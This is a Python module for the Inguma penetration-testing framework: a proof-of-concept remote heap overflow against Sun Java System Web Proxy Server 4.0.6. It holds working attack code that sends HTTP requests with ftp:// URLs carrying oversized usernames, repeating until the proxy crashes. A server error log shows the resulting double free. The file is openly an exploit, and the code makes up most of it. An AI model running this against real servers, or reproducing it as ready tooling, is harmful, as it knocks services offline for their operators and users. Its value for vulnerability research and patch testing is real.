#!/usr/bin/python

import sys
import time
import socket

from lib.libexploit import CIngumaModule

"""
CSunJavaProxyOverflow Remote HEAP Overflow POC for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

"""
Tested against Sun Java System Web Proxy Server 4.0.6 B09/05/2007

Start Sun Java Proxy Server, launch the attack and take a look to the 
log file (errors): 

[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: *** glibc detected *** proxyd: double free or corruption (!prev): 0x09f8aae8 ***
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: ======= Backtrace: =========
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /lib/libc.so.6[0x53fdf1]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /lib/libc.so.6(cfree+0x90)[0x543430]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /usr/lib/libstdc++-libc6.2-2.so.3(__builtin_delete+0x22)[0xb719dff6]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /usr/lib/libstdc++-libc6.2-2.so.3(__builtin_vec_delete+0x1b)[0xb719e01f]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /opt/sun/proxyserver40/bin/proxy/bin/../lib/libns-httpd40.so(get_channel__14channel_keeperP7SessionP7RequestP9ParsedUrliUi+0x1c4)[0xb7e4aaf4]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /opt/sun/proxyserver40/bin/proxy/bin/../lib/libns-httpd40.so(ftpclient_process+0x137)[0xb7e512f7]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /opt/sun/proxyserver40/bin/proxy/bin/../lib/libns-httpd40.so(service_proxy_retrieve+0x8d4)[0xb7e46ad4]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /opt/sun/proxyserver40/bin/proxy/bin/../lib/libns-httpd40.so(func_exec_str__FP10FuncStructP6pblockP7SessionP7Request+0x228)[0xb7d54034]
[17/Mar/2008:20:21:10] warning (18744): CORE3283: stderr: /opt/sun/proxyserver40/bin/proxy/bin/../lib/libns-httpd40.so(INTobject_execute+0x2c5)[0xb7d54a95]
[17/Mar/2008:20:21:10] failure (18741): CORE3107: Child process closed admin channel
[17/Mar/2008:20:21:11] info (18811): HTTP3072: [LS ls1] http://fedora7:8080 ready to accept requests
[17/Mar/2008:20:21:11] info (18811): CORE3274: successful server startup

"""

name = "sunproxybof"
brief_description = "Sun Java System Web Proxy Heap Overflow (POC)"
type = "exploit"
affects = ["Sun Java System Web Proxy Server 4.0.6"]
description = """
Sun Java System Web Proxy Server is vulnerable to a remote 
heap overflow when passing long username or passwords for
FTP resources.
"""
patch = "Fixed in 09-Oct-2008 (Note id. 242986, bug 6707473)"
category = "dos"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

class CSunJavaProxyOverflow(CIngumaModule):
    target = ""  # Main target
    port = 8080
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True

    def help(self):
        print "target = <target host>"
        print "port = <port>"

    def run(self):
        if self.target == "" or self.target == None:
            self.target = "localhost"
        
        if self.port == 0 or self.port == None:
            self.port = 8080
        
        self.remoteDos()

    def remoteDos(self):
        socket.setdefaulttimeout(10) # Set the timeout to 10 seconds

        try:
            print "[+] Launching attack against %s:%d" % (self.target, self.port)

            aTime = time.time()
            for i in range(1000, 1024):
                    if time.time() - aTime > 5:
                        print
                        print "[+] Exploit works!"
                        return True

                    aTime = time.time()
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((self.target, self.port))
                    s.send("GET ftp://" + "A"*i + ":pass@ftp.sun.com:%s HTTP/1.0\r\n\r\n" % int(self.port))
                    s.close()
        except KeyboardInterrupt:
            print
            print "Aborted."

            return False
        except socket.timeout:
            print "[+] Exploit works!"
            return True

    def printSummary(self):
        pass
